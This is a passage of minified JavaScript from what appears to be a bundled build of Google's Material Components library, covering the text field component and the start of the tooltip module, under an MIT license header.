o.isFocused=!1,o.receivedUserInput=!1,o.valid=!0,o.useNativeValidation=!0,o.validateOnValueChange=!0,o.helperText=r.helperText,o.characterCounter=r.characterCounter,o.leadingIcon=r.leadingIcon,o.trailingIcon=r.trailingIcon,o.inputFocusHandler=function{o.activateFocus},o.inputBlurHandler=function{o.deactivateFocus},o.inputInputHandler=function{o.handleInput},o.setPointerXOffset=function(e){o.setTransformOrigin(e)},o.textFieldInteractionHandler=function{o.handleTextFieldInteraction},o.validationAttributeChangeHandler=function(e){o.handleValidationAttributeChange(e)},o}return(0,i.__extends)(t,e),Object.defineProperty(t,"cssClasses",{get:function{return g},enumerable:!1,configurable:!0}),Object.defineProperty(t,"strings",{get:function{return f},enumerable:!1,configurable:!0}),Object.defineProperty(t,"numbers",{get:function{return m},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"shouldAlwaysFloat",{get:function{var e=this.getNativeInput.type;return A.indexOf(e)>=0},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"shouldFloat",{get:function{return this.shouldAlwaysFloat||this.isFocused||!!this.getValue||this.isBadInput},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"shouldShake",{get:function{return!this.isFocused&&!this.isValid&&!!this.getValue},enumerable:!1,configurable:!0}),Object.defineProperty(t,"defaultAdapter",{get:function{return{addClass:function{},removeClass:function{},hasClass:function{return!0},setInputAttr:function{},removeInputAttr:function{},registerTextFieldInteractionHandler:function{},deregisterTextFieldInteractionHandler:function{},registerInputInteractionHandler:function{},deregisterInputInteractionHandler:function{},registerValidationAttributeChangeHandler:function{return new MutationObserver((function{}))},deregisterValidationAttributeChangeHandler:function{},getNativeInput:function{return null},isFocused:function{return!1},activateLineRipple:function{},deactivateLineRipple:function{},setLineRippleTransformOrigin:function{},shakeLabel:function{},floatLabel:function{},setLabelRequired:function{},hasLabel:function{return!1},getLabelWidth:function{return 0},hasOutline:function{return!1},notchOutline:function{},closeOutline:function{}}},enumerable:!1,configurable:!0}),t.prototype.init=function{var e,t,n,r;this.adapter.hasLabel&&this.getNativeInput.required&&this.adapter.setLabelRequired(!0),this.adapter.isFocused?this.inputFocusHandler:this.adapter.hasLabel&&this.shouldFloat&&(this.notchOutline(!0),this.adapter.floatLabel(!0),this.styleFloating(!0)),this.adapter.registerInputInteractionHandler("focus",this.inputFocusHandler),this.adapter.registerInputInteractionHandler("blur",this.inputBlurHandler),this.adapter.registerInputInteractionHandler("input",this.inputInputHandler);try{for(var o=(0,i.__values)(_),a=o.next;!a.done;a=o.next){var s=a.value;this.adapter.registerInputInteractionHandler(s,this.setPointerXOffset)}}catch(t){e={error:t}}finally{try{a&&!a.done&&(t=o.return)&&t.call(o)}finally{if(e)throw e.error}}try{for(var l=(0,i.__values)(b),c=l.next;!c.done;c=l.next){s=c.value;this.adapter.registerTextFieldInteractionHandler(s,this.textFieldInteractionHandler)}}catch(e){n={error:e}}finally{try{c&&!c.done&&(r=l.return)&&r.call(l)}finally{if(n)throw n.error}}this.validationObserver=this.adapter.registerValidationAttributeChangeHandler(this.validationAttributeChangeHandler),this.setcharacterCounter(this.getValue.length)},t.prototype.destroy=function{var e,t,n,r;this.adapter.deregisterInputInteractionHandler("focus",this.inputFocusHandler),this.adapter.deregisterInputInteractionHandler("blur",this.inputBlurHandler),this.adapter.deregisterInputInteractionHandler("input",this.inputInputHandler);try{for(var o=(0,i.__values)(_),a=o.next;!a.done;a=o.next){var s=a.value;this.adapter.deregisterInputInteractionHandler(s,this.setPointerXOffset)}}catch(t){e={error:t}}finally{try{a&&!a.done&&(t=o.return)&&t.call(o)}finally{if(e)throw e.error}}try{for(var l=(0,i.__values)(b),c=l.next;!c.done;c=l.next){s=c.value;this.adapter.deregisterTextFieldInteractionHandler(s,this.textFieldInteractionHandler)}}catch(e){n={error:e}}finally{try{c&&!c.done&&(r=l.return)&&r.call(l)}finally{if(n)throw n.error}}this.adapter.deregisterValidationAttributeChangeHandler(this.validationObserver)},t.prototype.handleTextFieldInteraction=function{var e=this.adapter.getNativeInput;e&&e.disabled||(this.receivedUserInput=!0)},t.prototype.handleValidationAttributeChange=function(e){var t=this;e.some((function(e){return v.indexOf(e)>-1&&(t.styleValidity(!0),t.adapter.setLabelRequired(t.getNativeInput.required),!0)})),e.indexOf("maxlength")>-1&&this.setcharacterCounter(this.getValue.length)},t.prototype.notchOutline=function(e){if(this.adapter.hasOutline&&this.adapter.hasLabel)if(e){var t=this.adapter.getLabelWidth*m.LABEL_SCALE;this.adapter.notchOutline(t)}else this.adapter.closeOutline},t.prototype.activateFocus=function{this.isFocused=!0,this.styleFocused(this.isFocused),this.adapter.activateLineRipple,this.adapter.hasLabel&&(this.notchOutline(this.shouldFloat),this.adapter.floatLabel(this.shouldFloat),this.styleFloating(this.shouldFloat),this.adapter.shakeLabel(this.shouldShake)),!this.helperText||!this.helperText.isPersistent&&this.helperText.isValidation&&this.valid||this.helperText.showToScreenReader},t.prototype.setTransformOrigin=function(e){if(!this.isDisabled&&!this.adapter.hasOutline){var t=e.touches,n=t?t[0]:e,i=n.target.getBoundingClientRect,r=n.clientX-i.left;this.adapter.setLineRippleTransformOrigin(r)}},t.prototype.handleInput=function{this.autoCompleteFocus,this.setcharacterCounter(this.getValue.length)},t.prototype.autoCompleteFocus=function{this.receivedUserInput||this.activateFocus},t.prototype.deactivateFocus=function{this.isFocused=!1,this.adapter.deactivateLineRipple;var e=this.isValid;this.styleValidity(e),this.styleFocused(this.isFocused),this.adapter.hasLabel&&(this.notchOutline(this.shouldFloat),this.adapter.floatLabel(this.shouldFloat),this.styleFloating(this.shouldFloat),this.adapter.shakeLabel(this.shouldShake)),this.shouldFloat||(this.receivedUserInput=!1)},t.prototype.getValue=function{return this.getNativeInput.value},t.prototype.setValue=function(e){if(this.getValue!==e&&(this.getNativeInput.value=e),this.setcharacterCounter(e.length),this.validateOnValueChange){var t=this.isValid;this.styleValidity(t)}this.adapter.hasLabel&&(this.notchOutline(this.shouldFloat),this.adapter.floatLabel(this.shouldFloat),this.styleFloating(this.shouldFloat),this.validateOnValueChange&&this.adapter.shakeLabel(this.shouldShake))},t.prototype.isValid=function{return this.useNativeValidation?this.isNativeInputValid:this.valid},t.prototype.setValid=function(e){this.valid=e,this.styleValidity(e);var t=!e&&!this.isFocused&&!!this.getValue;this.adapter.hasLabel&&this.adapter.shakeLabel(t)},t.prototype.setValidateOnValueChange=function(e){this.validateOnValueChange=e},t.prototype.getValidateOnValueChange=function{return this.validateOnValueChange},t.prototype.setUseNativeValidation=function(e){this.useNativeValidation=e},t.prototype.isDisabled=function{return this.getNativeInput.disabled},t.prototype.setDisabled=function(e){this.getNativeInput.disabled=e,this.styleDisabled(e)},t.prototype.setHelperTextContent=function(e){this.helperText&&this.helperText.setContent(e)},t.prototype.setLeadingIconAriaLabel=function(e){this.leadingIcon&&this.leadingIcon.setAriaLabel(e)},t.prototype.setLeadingIconContent=function(e){this.leadingIcon&&this.leadingIcon.setContent(e)},t.prototype.setTrailingIconAriaLabel=function(e){this.trailingIcon&&this.trailingIcon.setAriaLabel(e)},t.prototype.setTrailingIconContent=function(e){this.trailingIcon&&this.trailingIcon.setContent(e)},t.prototype.setcharacterCounter=function(e){if(this.characterCounter){var t=this.getNativeInput.maxLength;if(-1===t)throw new Error("MDCTextFieldFoundation: Expected maxlength html property on text input or textarea.");this.characterCounter.setCounterValue(e,t)}},t.prototype.isBadInput=function{return this.getNativeInput.validity.badInput||!1},t.prototype.isNativeInputValid=function{return this.getNativeInput.validity.valid},t.prototype.styleValidity=function(e){var n=t.cssClasses.INVALID;if(e?this.adapter.removeClass(n):this.adapter.addClass(n),this.helperText){if(this.helperText.setValidity(e),!this.helperText.isValidation)return;var i=this.helperText.isVisible,r=this.helperText.getId;i&&r?this.adapter.setInputAttr(f.ARIA_DESCRIBEDBY,r):this.adapter.removeInputAttr(f.ARIA_DESCRIBEDBY)}},t.prototype.styleFocused=function(e){var n=t.cssClasses.FOCUSED;e?this.adapter.addClass(n):this.adapter.removeClass(n)},t.prototype.styleDisabled=function(e){var n=t.cssClasses,i=n.DISABLED,r=n.INVALID;e?(this.adapter.addClass(i),this.adapter.removeClass(r)):this.adapter.removeClass(i),this.leadingIcon&&this.leadingIcon.setDisabled(e),this.trailingIcon&&this.trailingIcon.setDisabled(e)},t.prototype.styleFloating=function(e){var n=t.cssClasses.LABEL_FLOATING;e?this.adapter.addClass(n):this.adapter.removeClass(n)},t.prototype.getNativeInput=function{return(this.adapter?this.adapter.getNativeInput:null)||{disabled:!1,maxLength:-1,required:!1,type:"input",validity:{badInput:!1,valid:!0},value:""}},t}(y.K);var C=n(6104),E=n(5793),T=n(9958),w=function(e){function t{return null!==e&&e.apply(this,arguments)||this}return(0,i.__extends)(t,e),t.attachTo=function(e){return new t(e)},t.prototype.initialize=function(e,t,n,i,r,o,a){void 0===e&&(e=function(e,t){return new d.F(e,t)}),void 0===t&&(t=function(e){return new l.k(e)}),void 0===n&&(n=function(e){return new C.b(e)}),void 0===i&&(i=function(e){return new p.c(e)}),void 0===r&&(r=function(e){return new T.O(e)}),void 0===o&&(o=function(e){return new s.g(e)}),void 0===a&&(a=function(e){return new c.A(e)}),this.input=this.root.querySelector(f.INPUT_SELECTOR);var u=this.root.querySelector(f.LABEL_SELECTOR);this.label=u?o(u):null;var m=this.root.querySelector(f.LINE_RIPPLE_SELECTOR);this.lineRipple=m?t(m):null;var v=this.root.querySelector(f.OUTLINE_SELECTOR);this.outline=v?a(v):null;var A=E.w.strings,y=this.root.nextElementSibling,_=y&&y.classList.contains(g.HELPER_LINE),b=_&&y&&y.querySelector(A.ROOT_SELECTOR);this.helperText=b?n(b):null;var I=h.J.strings,w=this.root.querySelector(I.ROOT_SELECTOR);!w&&_&&y&&(w=y.querySelector(I.ROOT_SELECTOR)),this.characterCounter=w?i(w):null;var S=this.root.querySelector(f.LEADING_ICON_SELECTOR);this.leadingIcon=S?r(S):null;var x=this.root.querySelector(f.TRAILING_ICON_SELECTOR);this.trailingIcon=x?r(x):null,this.prefix=this.root.querySelector(f.PREFIX_SELECTOR),this.suffix=this.root.querySelector(f.SUFFIX_SELECTOR),this.ripple=this.createRipple(e)},t.prototype.destroy=function{this.ripple&&this.ripple.destroy,this.lineRipple&&this.lineRipple.destroy,this.helperText&&this.helperText.destroy,this.characterCounter&&this.characterCounter.destroy,this.leadingIcon&&this.leadingIcon.destroy,this.trailingIcon&&this.trailingIcon.destroy,this.label&&this.label.destroy,this.outline&&this.outline.destroy,e.prototype.destroy.call(this)},t.prototype.initialSyncWithDOM=function{this.disabled=this.input.disabled},Object.defineProperty(t.prototype,"value",{get:function{return this.foundation.getValue},set:function(e){this.foundation.setValue(e)},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"disabled",{get:function{return this.foundation.isDisabled},set:function(e){this.foundation.setDisabled(e)},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"valid",{get:function{return this.foundation.isValid},set:function(e){this.foundation.setValid(e)},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"required",{get:function{return this.input.required},set:function(e){this.input.required=e},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"pattern",{get:function{return this.input.pattern},set:function(e){this.input.pattern=e},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"minLength",{get:function{return this.input.minLength},set:function(e){this.input.minLength=e},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"maxLength",{get:function{return this.input.maxLength},set:function(e){e<0?this.input.removeAttribute("maxLength"):this.input.maxLength=e},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"min",{get:function{return this.input.min},set:function(e){this.input.min=e},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"max",{get:function{return this.input.max},set:function(e){this.input.max=e},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"step",{get:function{return this.input.step},set:function(e){this.input.step=e},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"helperTextContent",{set:function(e){this.foundation.setHelperTextContent(e)},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"leadingIconAriaLabel",{set:function(e){this.foundation.setLeadingIconAriaLabel(e)},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"leadingIconContent",{set:function(e){this.foundation.setLeadingIconContent(e)},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"trailingIconAriaLabel",{set:function(e){this.foundation.setTrailingIconAriaLabel(e)},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"trailingIconContent",{set:function(e){this.foundation.setTrailingIconContent(e)},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"useNativeValidation",{set:function(e){this.foundation.setUseNativeValidation(e)},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"prefixText",{get:function{return this.prefix?this.prefix.textContent:null},set:function(e){this.prefix&&(this.prefix.textContent=e)},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"suffixText",{get:function{return this.suffix?this.suffix.textContent:null},set:function(e){this.suffix&&(this.suffix.textContent=e)},enumerable:!1,configurable:!0}),t.prototype.focus=function{this.input.focus},t.prototype.layout=function{var e=this.foundation.shouldFloat;this.foundation.notchOutline(e)},t.prototype.getDefaultFoundation=function{var e=(0,i.__assign)((0,i.__assign)((0,i.__assign)((0,i.__assign)((0,i.__assign)({},this.getRootAdapterMethods),this.getInputAdapterMethods),this.getLabelAdapterMethods),this.getLineRippleAdapterMethods),this.getOutlineAdapterMethods);return new I(e,this.getFoundationMap)},t.prototype.getRootAdapterMethods=function{var e=this;return{addClass:function(t){return e.root.classList.add(t)},removeClass:function(t){return e.root.classList.remove(t)},hasClass:function(t){return e.root.classList.contains(t)},registerTextFieldInteractionHandler:function(t,n){e.listen(t,n)},deregisterTextFieldInteractionHandler:function(t,n){e.unlisten(t,n)},registerValidationAttributeChangeHandler:function(t){var n=new MutationObserver((function(e){return t(function(e){return e.map((function(e){return e.attributeName})).filter((function(e){return e}))}(e))}));return n.observe(e.input,{attributes:!0}),n},deregisterValidationAttributeChangeHandler:function(e){e.disconnect}}},t.prototype.getInputAdapterMethods=function{var e=this;return{getNativeInput:function{return e.input},setInputAttr:function(t,n){e.input.setAttribute(t,n)},removeInputAttr:function(t){e.input.removeAttribute(t)},isFocused:function{return document.activeElement===e.input},registerInputInteractionHandler:function(t,n){e.input.addEventListener(t,n,(0,o.K))},deregisterInputInteractionHandler:function(t,n){e.input.removeEventListener(t,n,(0,o.K))}}},t.prototype.getLabelAdapterMethods=function{var e=this;return{floatLabel:function(t){e.label&&e.label.float(t)},getLabelWidth:function{return e.label?e.label.getWidth:0},hasLabel:function{return Boolean(e.label)},shakeLabel:function(t){e.label&&e.label.shake(t)},setLabelRequired:function(t){e.label&&e.label.setRequired(t)}}},t.prototype.getLineRippleAdapterMethods=function{var e=this;return{activateLineRipple:function{e.lineRipple&&e.lineRipple.activate},deactivateLineRipple:function{e.lineRipple&&e.lineRipple.deactivate},setLineRippleTransformOrigin:function(t){e.lineRipple&&e.lineRipple.setRippleCenter(t)}}},t.prototype.getOutlineAdapterMethods=function{var e=this;return{closeOutline:function{e.outline&&e.outline.closeNotch},hasOutline:function{return Boolean(e.outline)},notchOutline:function(t){e.outline&&e.outline.notch(t)}}},t.prototype.getFoundationMap=function{return{characterCounter:this.characterCounter?this.characterCounter.foundationForTextField:void 0,helperText:this.helperText?this.helperText.foundationForTextField:void 0,leadingIcon:this.leadingIcon?this.leadingIcon.foundationForTextField:void 0,trailingIcon:this.trailingIcon?this.trailingIcon.foundationForTextField:void 0}},t.prototype.createRipple=function(e){var t=this,n=this.root.classList.contains(g.TEXTAREA),r=this.root.classList.contains(g.OUTLINED);if(n||r)return null;var s=(0,i.__assign)((0,i.__assign)({},d.F.createAdapter(this)),{isSurfaceActive:function{return a.wB(t.input,":active")},registerInteractionHandler:function(e,n){t.input.addEventListener(e,n,(0,o.K))},deregisterInteractionHandler:function(e,n){t.input.removeEventListener(e,n,(0,o.K))}});return e(this.root,new u.l(s))},t}(r.B),S=n(4228),x=n(9928),D=n(9308)} /** * @license * Copyright 2019 Google Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */,6720:(e,t,n)=>{"use strict";n.r(t),n.d(t,{AnchorBoundaryType:=>l,CssClasses:=>i,MDCTooltip:=>O,MDCTooltipFoundation:=>D,PositionWithCaret:=>p,XPosition:=>a,XPositionWithCaret:=>f,YPosition:=>s,YPositionWithCaret:=>h,attributes:=>d,events:=>u,numbers:=>c,strings:=>g});var i,r=n(655),o=n(5179);!function(e){e.RICH="mdc-tooltip--rich",e.SHOWN="mdc-tooltip--shown",e.SHOWING="mdc-tooltip--showing",e.SHOWING_TRANSITION="mdc-tooltip--showing-transition",e.HIDE="mdc-tooltip--hide",e.HIDE_TRANSITION="mdc-tooltip--hide-transition",e.MULTILINE_TOOLTIP="mdc-tooltip--multiline",e.SURFACE="mdc-tooltip__surface",e.SURFACE_ANIMATION="mdc-tooltip__surface-animation",e.TOOLTIP_CARET_TOP="mdc-tooltip__caret-surface-top",e.TOOLTIP_CARET_BOTTOM="mdc-tooltip__caret-surface-bottom"}(i||(i={}));var a,s,l,c={BOUNDED_ANCHOR_GAP:4,UNBOUNDED_ANCHOR_GAP:8,MIN_VIEWPORT_TOOLTIP_THRESHOLD:8,HIDE_DELAY_MS:600,SHOW_DELAY_MS:500,MIN_HEIGHT:24,MAX_WIDTH:200,CARET_INDENTATION:24,ANIMATION_SCALE:.8},d={ARIA_EXPANDED:"aria-expanded",ARIA_HASPOPUP:"aria-haspopup",PERSISTENT:"data-mdc-tooltip-persistent",SCROLLABLE_ANCESTOR:"tooltip-scrollable-ancestor",HAS_CARET:"data-mdc-tooltip-has-caret"},u={HIDDEN:"MDCTooltip:hidden"};!function(e){e[e.DETECTED=0]="DETECTED",e[e.START=1]="START",e[e.CENTER=2]="CENTER",e[e.END=3]="END"}(a||(a={})),function(e){e[e.DETECTED=0]="DETECTED",e[e.ABOVE=1]="ABOVE",e[e.BELOW=2]="BELOW"}(s||(s={})),function(e){e[e.BOUNDED=0]="BOUNDED",e[e.UNBOUNDED=1]="UNBOUNDED"}(l||(l={}));var p,h,f,g={LEFT:"left",RIGHT:"right",CENTER:"center",TOP:"top",BOTTOM:"bottom"};!function(e){e[e.DETECTED=0]="DETECTED",e[e.ABOVE_START=1]="ABOVE_START",e[e.ABOVE_CENTER=2]="ABOVE_CENTER",e[e.ABOVE_END=3]="ABOVE_END",e[e.TOP_SIDE_START=4]="TOP_SIDE_START",e[e.CENTER_SIDE_START=5]="CENTER_SIDE_START",e[e.BOTTOM_SIDE_START=6]="BOTTOM_SIDE_START",e[e.TOP_SIDE_END=7]="TOP_SIDE_END",e[e.CENTER_SIDE_END=8]="CENTER_SIDE_END",e[e.BOTTOM_SIDE_END=9]="BOTTOM_SIDE_END",e[e.BELOW_START=10]="BELOW_START",e[e.BELOW_CENTER=11]="BELOW_CENTER",e[e.BELOW_END=12]="BELOW_END"}(p||(p={})),function(e){e[e.ABOVE=1]="ABOVE",e[e.BELOW=2]="BELOW",e[e.SIDE_TOP=3]="SIDE_TOP",e[e.SIDE_CENTER=4]="SIDE_CENTER",e[e.SIDE_BOTTOM=5]="SIDE_BOTTOM"}(h||(h={})),function(e){e[e.START=1]="START",e[e.CENTER=2]="CENTER",e[e.END=3]="END",e[e.SIDE_START=4]="SIDE_START",e[e.SIDE_END=5]="SIDE_END"}(f||(f={}));var m,v=n(2195),A=n(5475),y=n(6308),_=n(9502),b=i.RICH,I=i.SHOWN,C=i.SHOWING,E=i.SHOWING_TRANSITION,T=i.HIDE,w=i.HIDE_TRANSITION,S=i.MULTILINE_TOOLTIP;!function(e){e.POLL_ANCHOR="poll_anchor"}(m||(m={}));var x="undefined"!=typeof window,D=function(e){function t(n){var i=e.call(this,(0,r.__assign)((0,r.__assign)({},t.defaultAdapter),n))||this;return i.tooltipShown=!1,i.anchorGap=c.BOUNDED_ANCHOR_GAP,i.xTooltipPos=a.DETECTED,i.yTooltipPos=s.DETECTED,i.tooltipPositionWithCaret=p.DETECTED,i.minViewportTooltipThreshold=c.MIN_VIEWPORT_TOOLTIP_THRESHOLD,i.hideDelayMs=c.HIDE_DELAY_MS,i.showDelayMs=c.SHOW_DELAY_MS,i.anchorRect=null,i.parentRect=null,i.frameId=null,i.hideTimeout=null,i.showTimeout=null,i.addAncestorScrollEventListeners=new Array,i.removeAncestorScrollEventListeners=new Array,i.animFrame=new v.$,i.anchorBlurHandler=function(e){i.handleAnchorBlur(e)},i.documentClickHandler=function(e){i.handleDocumentClick(e)},i.documentKeydownHandler=function(e){i.handleKeydown(e)},i.tooltipMouseEnterHandler=function{i.handleTooltipMouseEnter},i.tooltipMouseLeaveHandler=function{i.handleTooltipMouseLeave},i.richTooltipFocusOutHandler=function(e){i.handleRichTooltipFocusOut(e)},i.windowScrollHandler=function{i.handleWindowScrollEvent},i.windowResizeHandler=function{i.handleWindowChangeEvent},i}return(0,r.__extends)(t,e),Object.defineProperty(t,"defaultAdapter",{get:function{return{getAttribute:function{return null},setAttribute:function{},removeAttribute:function{},addClass:function{},hasClass:function{return!1},removeClass:function{},getComputedStyleProperty:function{return""},setStyleProperty:function{},setSurfaceAnimationStyleProperty:function{},getViewportWidth:function{return 0},getViewportHeight:function{return 0},getTooltipSize:function{return{width:0,height:0}},getAnchorBoundingRect:function{return{top:0,right:0,bottom:0,left:0,width:0,height:0}},getParentBoundingRect:function{return{top:0,right:0,bottom:0,left:0,width:0,height:0}},getAnchorAttribute:function{return null},setAnchorAttribute:function{return null},isRTL:function{return!1},anchorContainsElement:function{return!1},tooltipContainsElement:function{return!1},focusAnchorElement:function{},registerEventHandler:function{},deregisterEventHandler:function{},registerAnchorEventHandler:function{},deregisterAnchorEventHandler:function{},registerDocumentEventHandler:function{},deregisterDocumentEventHandler:function{},registerWindowEventHandler:function{},deregisterWindowEventHandler:function{},notifyHidden:function{},getTooltipCaretBoundingRect:function{return{top:0,right:0,bottom:0,left:0,width:0,height:0}},setTooltipCaretStyle:function{},clearTooltipCaretStyles:function{},getActiveElement:function{return null}}},enumerable:!1,configurable:!0}),t.prototype.init=function{this.richTooltip=this.adapter.hasClass(b),this.persistentTooltip="true"===this.adapter.getAttribute(d.PERSISTENT),this.interactiveTooltip=!!this.adapter.getAnchorAttribute(d.ARIA_EXPANDED)&&"dialog"===this.adapter.getAnchorAttribute(d.ARIA_HASPOPUP),this.hasCaret=this.richTooltip&&"true"===this.adapter.getAttribute(d.HAS_CARET)},t.prototype.isShown=function{return this.tooltipShown},t.prototype.isRich=function{return this.richTooltip},t.prototype.isPersistent=function{return this.persistentTooltip},t.prototype.handleAnchorMouseEnter=function{var e=this;this.tooltipShown?this.show:(this.clearHideTimeout,this.showTimeout=setTimeout((function{e.show}),this.showDelayMs))},t.prototype.handleAnchorTouchstart=function{var e=this;this.showTimeout=setTimeout((function{e.show}),this.showDelayMs),this.adapter.registerWindowEventHandler("contextmenu",this.preventContextMenuOnLongTouch)},t.prototype.preventContextMenuOnLongTouch=function(e){e.preventDefault},t.prototype.handleAnchorTouchend=function{this.clearShowTimeout,this.isShown||this.adapter.deregisterWindowEventHandler("contextmenu",this.preventContextMenuOnLongTouch)},t.prototype.handleAnchorFocus=function(e){var t=this,n=e.relatedTarget;n instanceof HTMLElement&&this.adapter.tooltipContainsElement(n)||(this.showTimeout=setTimeout((function{t.show}),this.showDelayMs))},t.prototype.handleAnchorMouseLeave=function{var e=this;this.clearShowTimeout,this.hideTimeout=setTimeout((function{e.hide}),this.hideDelayMs)},t.prototype.handleAnchorClick=function{this.tooltipShown?this.hide:this.show},t.prototype.handleDocumentClick=function(e){var t=e.target instanceof HTMLElement&&(this.adapter.anchorContainsElement(e.target)||this.adapter.tooltipContainsElement(e.target));this.richTooltip&&this.persistentTooltip&&t||this.hide},t.prototype.handleKeydown=function(e){if((0,_.ku)(e)===_.Fn.ESCAPE){var t=this.adapter.getActiveElement;t instanceof HTMLElement&&this.adapter.tooltipContainsElement(t)&&this.adapter.focusAnchorElement,this.hide}},t.prototype.handleAnchorBlur=function(e){if(this.richTooltip){if(e.relatedTarget instanceof HTMLElement&&this.adapter.tooltipContainsElement(e.relatedTarget))return;if(null===e.relatedTarget&&this.interactiveTooltip)return}this.hide},t.prototype.handleTooltipMouseEnter=function{this.show},t.prototype.handleTooltipMouseLeave=function{var e=this;this.clearShowTimeout,this.hideTimeout=setTimeout((function{e.hide}),this.hideDelayMs)},t.prototype.handleRichTooltipFocusOut=function(e){e.relatedTarget instanceof HTMLElement&&(this.adapter.anchorContainsElement(e.relatedTarget)||this.adapter.tooltipContainsElement(e.relatedTarget))||null===e.relatedTarget&&this.interactiveTooltip||this.hide},t.prototype.handleWindowScrollEvent=function{this.persistentTooltip?this.handleWindowChangeEvent:this.hide},t.prototype.handleWindowChangeEvent=function{var e=this;this.animFrame.request(m.POLL_ANCHOR,(function{e.repositionTooltipOnAnchorMove}))},t.prototype.show=function{var e,t,n=this;if(this.clearHideTimeout,this.clearShowTimeout,!this.tooltipShown){this.tooltipShown=!0,this.adapter.removeAttribute("aria-hidden"),this.richTooltip&&(this.interactiveTooltip&&this.adapter.setAnchorAttribute("aria-expanded","true"),this.adapter.registerEventHandler("focusout",this.richTooltipFocusOutHandler)),this.persistentTooltip||(this.adapter.registerEventHandler("mouseenter",this.tooltipMouseEnterHandler),this.adapter.registerEventHandler("mouseleave",this.tooltipMouseLeaveHandler)),this.adapter.removeClass(T),this.adapter.addClass(C),this.isTooltipMultiline&&!this.richTooltip&&this.adapter.addClass(S),this.anchorRect=this.adapter.getAnchorBoundingRect,this.parentRect=this.adapter.getParentBoundingRect,this.richTooltip?this.positionRichTooltip:this.positionPlainTooltip,this.adapter.registerAnchorEventHandler("blur",this.anchorBlurHandler),this.adapter.registerDocumentEventHandler("click",this.documentClickHandler),this.adapter.registerDocumentEventHandler("keydown",this.documentKeydownHandler),this.adapter.registerWindowEventHandler("scroll",this.windowScrollHandler),this.adapter.registerWindowEventHandler("resize",this.windowResizeHandler);try{for(var i=(0,r.__values)(this.addAncestorScrollEventListeners),o=i.next;!o.done;o=i.next){(0,o.value)}}catch(t){e={error:t}}finally{try{o&&!o.done&&(t=i.return)&&t.call(i)}finally{if(e)throw e.error}}this.frameId=requestAnimationFrame((function{n.clearAllAnimationClasses,n.adapter.addClass(I),n.adapter.addClass(E)}))}},t.prototype.hide=function{var e,t;if(this.clearHideTimeout,this.clearShowTimeout,this.tooltipShown){this.frameId&&cancelAnimationFrame(this.frameId),this.tooltipShown=!1,this.adapter.setAttribute("aria-hidden","true"),this.adapter.deregisterEventHandler("focusout",this.richTooltipFocusOutHandler),this.richTooltip&&this.interactiveTooltip&&this.adapter.setAnchorAttribute("aria-expanded","false"),this.persistentTooltip||(this.adapter.deregisterEventHandler("mouseenter",this.tooltipMouseEnterHandler),this.adapter.deregisterEventHandler("mouseleave",this.tooltipMouseLeaveHandler)),this.clearAllAnimationClasses,this.adapter.addClass(T),this.adapter.addClass(w),this.adapter.removeClass(I),this.adapter.deregisterAnchorEventHandler("blur",this.anchorBlurHandler),this.adapter.deregisterDocumentEventHandler("click",this.documentClickHandler),this.adapter.deregisterDocumentEventHandler("keydown",this.documentKeydownHandler),this.adapter.deregisterWindowEventHandler("scroll",this.windowScrollHandler),this.adapter.deregisterWindowEventHandler("resize",this.windowResizeHandler),this.adapter.deregisterWindowEventHandler("contextmenu",this.preventContextMenuOnLongTouch);try{for(var n=(0,r.__values)(this.removeAncestorScrollEventListeners),i=n.next;!i.done;i=n.next){(0,i.value)}}catch(t){e={error:t}}finally{try{i&&!i.done&&(t=n.return)&&t.call(n)}finally{if(e)throw e.error}}}},t.prototype.handleTransitionEnd=function{var e=this.adapter.hasClass(T);this.adapter.removeClass(C),this.adapter.removeClass(E),this.adapter.removeClass(T),this.adapter.removeClass(w),e&&this.adapter.notifyHidden},t.prototype.clearAllAnimationClasses=function{this.adapter.removeClass(E),this.adapter.removeClass(w)},t.prototype.setTooltipPosition=function(e){var t=e.xPos,n=e.yPos,i=e.withCaretPos;this.hasCaret&&i?this.tooltipPositionWithCaret=i:(t&&(this.xTooltipPos=t),n&&(this.yTooltipPos=n))},t.prototype.setAnchorBoundaryType=function(e){e===l.UNBOUNDED?this.anchorGap=c.UNBOUNDED_ANCHOR_GAP:this.anchorGap=c.BOUNDED_ANCHOR_GAP},t.prototype.setShowDelay=function(e){this.showDelayMs=e},t.prototype.setHideDelay=function(e){this.hideDelayMs=e},t.prototype.isTooltipMultiline=function{var e=this.adapter.getTooltipSize;return e.height>c.MIN_HEIGHT&&e.width>=c.MAX_WIDTH},t.prototype.positionPlainTooltip=function{var 